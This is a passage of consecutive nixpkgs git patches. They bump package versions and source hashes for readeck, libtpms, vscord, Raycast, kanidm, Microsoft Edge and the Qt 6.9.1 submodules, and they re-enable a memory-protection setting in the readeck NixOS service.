+  version = "0.19.2";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "readeck";
     repo = "readeck";
     tag = version;
-    hash = "sha256-geKhug1sQ51i+6qw2LVzW8lXyvre6AlVHWvGlEXWki8=";
+    hash = "sha256-gTU1RMd6b1wLIqI8VGa1Fn8+ydhW76E8ft5du71E1zM=";
   };
 
   nativeBuildInputs = [
@@ -80,10 +80,10 @@ buildGoModule rec {
 
   npmDeps = fetchNpmDeps {
     src = "${src}/web";
-    hash = "sha256-3MVrzpilJKptT0iRBQx2Cl0iKVoOJu5cBT987U1/C1k=";
+    hash = "sha256-RkyQ7uY7OIpBY7ep2L2Ilq5abY0f91g2uqigdS64sL0=";
   };
 
-  vendorHash = "sha256-RjU3PW7GeMkQE0oHkI4EmFNr4HT3vRyFITUzYX9AHpw=";
+  vendorHash = "sha256-gqiK96FnfvRAzT0RUpYnT7HftZ1YV9jxbjstcKtGBho=";
 
   meta = {
     description = "Web application that lets you save the readable content of web pages you want to keep forever.";

From d50977688fb322fec5f47131f1ab4dbc4c826045 Mon Sep 17 00:00:00 2001
From: linsui <36977733+linsui@users.noreply.github.com>
Date: Thu, 5 Jun 2025 03:47:00 +0800
Subject: [PATCH 0870/4511] nixos/readeck: add back MemoryDenyWriteExecute

SQLite driver is reverted to its CGO version so this can be enabled

(cherry picked from commit 17f95268f30307f0353cf80f5d99cf78f97c5400)
---
 nixos/modules/services/web-apps/readeck.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/modules/services/web-apps/readeck.nix b/nixos/modules/services/web-apps/readeck.nix
index f0e7252f40bd..03ee4385e709 100644
--- a/nixos/modules/services/web-apps/readeck.nix
+++ b/nixos/modules/services/web-apps/readeck.nix
@@ -68,6 +68,7 @@ in
         ExecStart = "${lib.getExe cfg.package} serve -config ${configFile}";
         ProtectSystem = "full";
         SystemCallArchitectures = "native";
+        MemoryDenyWriteExecute = true;
         NoNewPrivileges = true;
         PrivateTmp = true;
         PrivateDevices = true;

From fbdbb7796dda5d46c22b4b32d83dd42e6d87deec Mon Sep 17 00:00:00 2001
From: Arthur Gautier <superbaloo+registrations.github@superbaloo.net>
Date: Wed, 11 Jun 2025 10:05:35 -0700
Subject: [PATCH 0871/4511] Revert "[Backport staging-25.05] libtpms: 0.10.0 ->
 0.10.1"

---
 pkgs/by-name/li/libtpms/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libtpms/package.nix b/pkgs/by-name/li/libtpms/package.nix
index 3d8b02318d72..4deb7b7e261e 100644
--- a/pkgs/by-name/li/libtpms/package.nix
+++ b/pkgs/by-name/li/libtpms/package.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation rec {
   pname = "libtpms";
-  version = "0.10.1";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "stefanberger";
     repo = "libtpms";
     rev = "v${version}";
-    sha256 = "sha256-uj06cAhepTOFxSeiBY/UVP/rtBQHLvrODe4ljU6ALOE=";
+    sha256 = "sha256-YKs/XYJ8UItOtSinl28/G9XFVzobFd4ZDKtClQDLXFk=";
   };
 
   nativeBuildInputs = [

From d287b6ec965266a6e56af076c84c3ed5add17b2f Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Tue, 10 Jun 2025 15:58:59 -0600
Subject: [PATCH 0872/4511] vscode-extensions.leonardssh.vscord: 5.3.2 -> 5.3.5

Diff: https://github.com/leonardssh/vscord/compare/v5.3.2...v5.3.5
(cherry picked from commit d5eea6c984bedf447149a250b8a7261f867d52e6)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index a297879e37a2..ed0ce1c1bdb8 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -2975,8 +2975,8 @@ let
         mktplcRef = {
           name = "vscord";
           publisher = "leonardssh";
-          version = "5.3.2";
-          hash = "sha256-kj1D0X6Wj088nwgFlWZkPG+zaHsqb0MapycPIfRWEIk=";
+          version = "5.3.5";
+          hash = "sha256-b5osn7UeSkr8gnLZ/PkrxS0WmgHUwfS0jnwTc1Uw0Sg=";
         };
         meta = {
           description = "Highly customizable Discord Rich Presence extension for Visual Studio Code";

From 3c108eee9ced22880e532c81f0a2cd8da302ca55 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 11 Jun 2025 16:34:58 +0300
Subject: [PATCH 0873/4511] raycast: 1.99.2 -> 1.100.0

Changelog: https://www.raycast.com/changelog/1-100-0
(cherry picked from commit e843fb5b8eadd4d35480e36cdccd6fc0e8773b15)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 7f74c8b6693a..056d7d0d0f90 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.99.2";
+  version = "1.100.0";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-VtZy1pUayK4r8L74llguBid5VJ1UcanNg8rWcOswVh4=";
+        hash = "sha256-uoROEh0ERGpvO4lX/ni5gn+fqwMNOzk7CoPgEnL7ktE=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-PoR7bln88TtfNixhHnBCIA8ddesjQTin2o6nZ4dXPms=";
+        hash = "sha256-LdGVNWgQ8bxgqHSvnVizbWeXnHe7JSk47Kn5jGsrNbs=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From 230574efe93bd929042c423056b3a0404167997a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 07:49:45 +0000
Subject: [PATCH 0874/4511] kanidm_1_6: 1.6.3 -> 1.6.4

(cherry picked from commit 09b041b10332ca7b0f50d1d6512ae12e18c4b0ad)
---
 pkgs/by-name/ka/kanidm/1_6.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ka/kanidm/1_6.nix b/pkgs/by-name/ka/kanidm/1_6.nix
index 33406713f260..b7ebd14a9d2c 100644
--- a/pkgs/by-name/ka/kanidm/1_6.nix
+++ b/pkgs/by-name/ka/kanidm/1_6.nix
@@ -1,6 +1,6 @@
 import ./generic.nix {
-  version = "1.6.3";
-  hash = "sha256-oZU7XgGpkPAwuUVVjpiKApOiQN692CRFjmWzE9hcqPY=";
-  cargoHash = "sha256-cgTCLTcPXjGdvremw1afyRGHwnBvqNGXr1D8Xgxv4uA=";
+  version = "1.6.4";
+  hash = "sha256-ui3w1HDHXHARsjQ3WtJfZbM7Xgg3ODnUneXJMQwaOMw=";
+  cargoHash = "sha256-KJGELBzScwsLd6g3GR9Vk0nfDU2EjZBfXwlXJ+bZb1k=";
   patchDir = ./patches/1_6;
 }

From a1d0600a1a083c135b6b37a2d055925b5160939a Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Tue, 10 Jun 2025 16:25:56 +0800
Subject: [PATCH 0875/4511] microsoft-edge: remove dependency to stdenv

(cherry picked from commit f9bf016cc83c960e616b674bcb85c0e945a2fbd7)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index ee4ade1c3ab9..1421db780582 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -1,9 +1,10 @@
 {
   lib,
-  stdenv,
+  stdenvNoCC,
   fetchurl,
   makeWrapper,
   patchelf,
+  bintools,
   dpkg,
 
   # Linked dynamic libraries.
@@ -176,7 +177,7 @@ let
     ++ lib.optionals libvaSupport [ libva ];
 in
 
-stdenv.mkDerivation (finalAttrs: {
+stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
   version = "137.0.3296.68";
 
@@ -272,7 +273,7 @@ stdenv.mkDerivation (finalAttrs: {
 
     for elf in $out/share/microsoft/$appname/{msedge,msedge-sandbox,msedge_crashpad_handler}; do
       patchelf --set-rpath $rpath $elf
-      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" $elf
+      patchelf --set-interpreter ${bintools.dynamicLinker} $elf
     done
 
     runHook postInstall

From aa59877f9b993c064dd2c09517cad7a79717f76e Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Tue, 10 Jun 2025 16:27:02 +0800
Subject: [PATCH 0876/4511] microsoft-edge: remove emaryn from maintainers

(cherry picked from commit e85e8cc51cf77013aed2924ccc78823e37b83f5d)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 1421db780582..22790e4ebd1c 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -290,7 +290,6 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       cholli
       ulrikstrid
-      emaryn
       maeve-oake
       leleuvilela
     ];

From 6f5796a39050ee4bcf19c858e80fd6bdf74ac489 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 12:11:59 -0700
Subject: [PATCH 0877/4511] qt6: 6.9.0 -> 6.9.1

(cherry picked from commit b357ca72b6807f59000ae95e5fa60529508409f3)
---
 pkgs/development/libraries/qt-6/fetch.sh |   2 +-
 pkgs/development/libraries/qt-6/srcs.nix | 312 +++++++++++------------
 2 files changed, 157 insertions(+), 157 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/fetch.sh b/pkgs/development/libraries/qt-6/fetch.sh
index 25f1555d2cd3..9284b2d2ea80 100644
--- a/pkgs/development/libraries/qt-6/fetch.sh
+++ b/pkgs/development/libraries/qt-6/fetch.sh
@@ -1 +1 @@
-WGET_ARGS=( https://download.qt.io/official_releases/qt/6.9/6.9.0/submodules/ -A '*.tar.xz' )
+WGET_ARGS=( https://download.qt.io/official_releases/qt/6.9/6.9.1/submodules/ -A '*.tar.xz' )
diff --git a/pkgs/development/libraries/qt-6/srcs.nix b/pkgs/development/libraries/qt-6/srcs.nix
index c71e3aeb274b..4ad3606a99e0 100644
--- a/pkgs/development/libraries/qt-6/srcs.nix
+++ b/pkgs/development/libraries/qt-6/srcs.nix
@@ -4,315 +4,315 @@
 
 {
   qt3d = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qt3d-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1hkcf6j87fpw9ss5vvcaqh3km0vv0f0m3acwvnr3fgc781nxa7aj";
-      name = "qt3d-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qt3d-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1127kkbrds6xsd28p47drs51py5x8gsv2rwbllkb6yqlc1x4jilw";
+      name = "qt3d-everywhere-src-6.9.1.tar.xz";
     };
   };
   qt5compat = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qt5compat-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0qq7f4gk09jyjwj9hr5ig0jwagywsqbsymydw3xp2851scwhbgjm";
-      name = "qt5compat-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qt5compat-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0yli7mbsdhksx57n05axr3kkspf9nm56w6bm1rbl0p0d7yn2diwn";
+      name = "qt5compat-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtactiveqt = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtactiveqt-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0gl50kv1dh33jiwsfmgb1fgpkynzzh5z53024l893i0gfkc4nc93";
-      name = "qtactiveqt-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtactiveqt-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0lvd6566yycfid6nq66m5cl3aw5bfzfifbhcpnqangvq1vla2zpx";
+      name = "qtactiveqt-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtbase = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtbase-everywhere-src-6.9.0.tar.xz";
-      sha256 = "132ry38i7kzapdr23bp39sar76np44is7m059bq1m01mm0p0r061";
-      name = "qtbase-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtbase-everywhere-src-6.9.1.tar.xz";
+      sha256 = "13pjmha1jpalpy5qc5gijny7i648clsmcc08c5cik6nchfzyvjj0";
+      name = "qtbase-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtcharts = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtcharts-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0a3z65fd54gm4w50si1makq972lj7g3yi1ys188ppr2zya3r474a";
-      name = "qtcharts-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtcharts-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1ly3mq4hgl4b20grajqy9bw16cx50d4drjxr3ljfj5n8gbmip1xq";
+      name = "qtcharts-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtconnectivity = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtconnectivity-everywhere-src-6.9.0.tar.xz";
-      sha256 = "16452vxd4by1snl42bbg8vk5qr71i88ngspwi8qgkfdjmj6jyh7z";
-      name = "qtconnectivity-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtconnectivity-everywhere-src-6.9.1.tar.xz";
+      sha256 = "05qabslwr7dc7mfkgkr2ikqlb93c0dkfyg2vbvc5lk8h280yb229";
+      name = "qtconnectivity-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtdatavis3d = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtdatavis3d-everywhere-src-6.9.0.tar.xz";
-      sha256 = "05c0kmzwiw7kgpzkh470x1zggwn7rba7qg7fza6jm4wcsl9vf31i";
-      name = "qtdatavis3d-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtdatavis3d-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1irjbdm8ypm01zx18rwq8sp161fq9yjhbx01pcgfdix7y9sqnyac";
+      name = "qtdatavis3d-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtdeclarative = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtdeclarative-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0g8dl9dnzlj4nm08pjdcr6fvnyvzxazy52gr6iki6yl422jmy5x3";
-      name = "qtdeclarative-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtdeclarative-everywhere-src-6.9.1.tar.xz";
+      sha256 = "15zc9i9d3c9r2bqbcavqn77qk2vwcwlmp5kv73pdg681vxjldffc";
+      name = "qtdeclarative-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtdoc = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtdoc-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1zdr5vi313rph1hz1c5a1wyrrspifjm5xaz475xc3yic7imn6fqz";
-      name = "qtdoc-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtdoc-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1d8sdnwimvy8fi7cihkxzjllri5gsldy39rzqwyxv4nfwnxbw33f";
+      name = "qtdoc-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtgraphs = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtgraphs-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1im0z8m50yy3p8v6rkxc7agyx061c644asjqnljjajwkq76hhnwy";
-      name = "qtgraphs-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtgraphs-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0i1lb7zdvhxyv51g9h667g7wq50h6x11w88v68x5mfyda98dqbgm";
+      name = "qtgraphs-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtgrpc = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtgrpc-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0dxichzs2371xqzyrqgf74z18phykv23xagwz6ldkh0s31vf0mrr";
-      name = "qtgrpc-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtgrpc-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0l574fwlqszk3zny2mcbka8ipi8bhj8m67jsd7yv129j42g8ck63";
+      name = "qtgrpc-everywhere-src-6.9.1.tar.xz";
     };
   };
   qthttpserver = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qthttpserver-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0wxf29hyai0v9p7sx0r6a7lz00ps18x6mcls3330jk2c3gpwzlli";
-      name = "qthttpserver-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qthttpserver-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0lrby1ii7ic0m3wnv1hvb5izzwrk5ryqvbi723qnbhxvw88vbixz";
+      name = "qthttpserver-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtimageformats = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtimageformats-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0vv082jfird2m7x60iz8kb6kghaj2zwsk7q7837rggsp58jccir0";
-      name = "qtimageformats-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtimageformats-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0z2py4x0shdn29l9656r63xc8gzk9bgxlgi3qx9bg6xgv8wg5sgb";
+      name = "qtimageformats-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtlanguageserver = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtlanguageserver-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0bj9azip0sxmcj4girdscvgbn32givxi6w0jcdmy7vjjc41mxrpf";
-      name = "qtlanguageserver-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtlanguageserver-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1v486kb11mg65bvg88mm306nvq55kg6glnqiwfv9n2vn28v3a5ya";
+      name = "qtlanguageserver-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtlocation = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtlocation-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1537haryrrvcdj0j85wid4w4a100ngdrh4f2q2p2saxaq725m8md";
-      name = "qtlocation-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtlocation-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0mzg4z0zra13czgygaxim8wn4a2lzndly3w0ymcxwzh4gs8fis60";
+      name = "qtlocation-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtlottie = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtlottie-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1gps985lzrzxgarhi5ykzmc88walr25b1c9nc0k7k8l7lla1dfnl";
-      name = "qtlottie-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtlottie-everywhere-src-6.9.1.tar.xz";
+      sha256 = "18lbl6pxvfiwl84y92xwnm4cayxs8rdfgmvrq44n3jbk0wp8rs4f";
+      name = "qtlottie-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtmultimedia = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtmultimedia-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1351rayivxzjpfflag2jaym987b6yx19cqw0ja9f3qrx9wcknp4r";
-      name = "qtmultimedia-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtmultimedia-everywhere-src-6.9.1.tar.xz";
+      sha256 = "079r0wp4nwyp4a5cannz3vf99aj4dvydwydvwbw5bvhqjm2kcplm";
+      name = "qtmultimedia-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtnetworkauth = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtnetworkauth-everywhere-src-6.9.0.tar.xz";
-      sha256 = "065lzvvm9i064msk90qy5919m983n4q67k17s78n8jbx4as0iizs";
-      name = "qtnetworkauth-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtnetworkauth-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1jrrfcw3aa93xaq95xhy0iyigldmvgamy5452mpm8d926xdv3bbz";
+      name = "qtnetworkauth-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtpositioning = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtpositioning-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1layc0j3d0r75yyvgp5irmvbjih1z1csn2lic9arry9bv40lq2y0";
-      name = "qtpositioning-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtpositioning-everywhere-src-6.9.1.tar.xz";
+      sha256 = "09pz0sbzcvhcaag7g7pidcnyvrx2kaxsxr73y2iqq949955p6qkh";
+      name = "qtpositioning-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtquick3d = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtquick3d-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1274k4rsriyshm8mq55mk9kij2vjsaja1cabpfvambm5vj7jd5d2";
-      name = "qtquick3d-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtquick3d-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0xwr5kdz1yn0arby4jipbh0j8z1x8ppiqhswddyipmdzizd005pn";
+      name = "qtquick3d-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtquick3dphysics = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtquick3dphysics-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1816b3sxs99lrq3krjsjdr9vi9q7ayhrgqz6sz819bqzb5z2y7jz";
-      name = "qtquick3dphysics-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtquick3dphysics-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0kx2vj6qwwp05iizfnsmbn2337w70crah4zcdm1ah2f4p1g3ds36";
+      name = "qtquick3dphysics-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtquickeffectmaker = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtquickeffectmaker-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1akia03g1ickp27bdqqr8r7sy7yq740wyvb895csdq9qrbj16qli";
-      name = "qtquickeffectmaker-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtquickeffectmaker-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0caxs6xcm5c7g85xyln5jjvz4b4g6flww7kq9vsl9fs20v21gdir";
+      name = "qtquickeffectmaker-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtquicktimeline = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtquicktimeline-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0j76cb4db9kpcr5ascgljz3jy8jyhvnrjisk2ni1a5kk1gfjr7rk";
-      name = "qtquicktimeline-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtquicktimeline-everywhere-src-6.9.1.tar.xz";
+      sha256 = "153ji60xg55m85zg0px5nq1wbpkn61xf0whkjghf8y41rbkxpgvq";
+      name = "qtquicktimeline-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtremoteobjects = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtremoteobjects-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1pbhjwiygydafqd5hlcgda39dxppcmxzhn1zn0va9zbqzps14fpl";
-      name = "qtremoteobjects-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtremoteobjects-everywhere-src-6.9.1.tar.xz";
+      sha256 = "040a5s6sx5y0vpxjdmvici63yxr4rn9qisigpbjc4wlggfg0fgr7";
+      name = "qtremoteobjects-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtscxml = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtscxml-everywhere-src-6.9.0.tar.xz";
-      sha256 = "14k8kak4670z58wg72jx75g3cwbvf2fp897ag5npfk8j3hjbafx7";
-      name = "qtscxml-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtscxml-everywhere-src-6.9.1.tar.xz";
+      sha256 = "10274n4gslgh59sagyijllnskp204i16zm7bdpx58fmk4chdwcqc";
+      name = "qtscxml-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtsensors = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtsensors-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0rz4d2rq65rdls6q976k6p5b064307kkvy52jw1x0s57yk0kfqd4";
-      name = "qtsensors-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtsensors-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0v4w815698zgxhmk681ygfsjlbp1y4gqdmbb0pz2vm6gr8d16jzh";
+      name = "qtsensors-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtserialbus = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtserialbus-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0gsrhm2s039ym6hr5sql7xsm46xmripxb8np4wn6w9gj24s0jihd";
-      name = "qtserialbus-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtserialbus-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1mq4mghn19m7m0mkbn6llwiprabr4ym8rpd9ks05spsnhd2ww7j9";
+      name = "qtserialbus-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtserialport = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
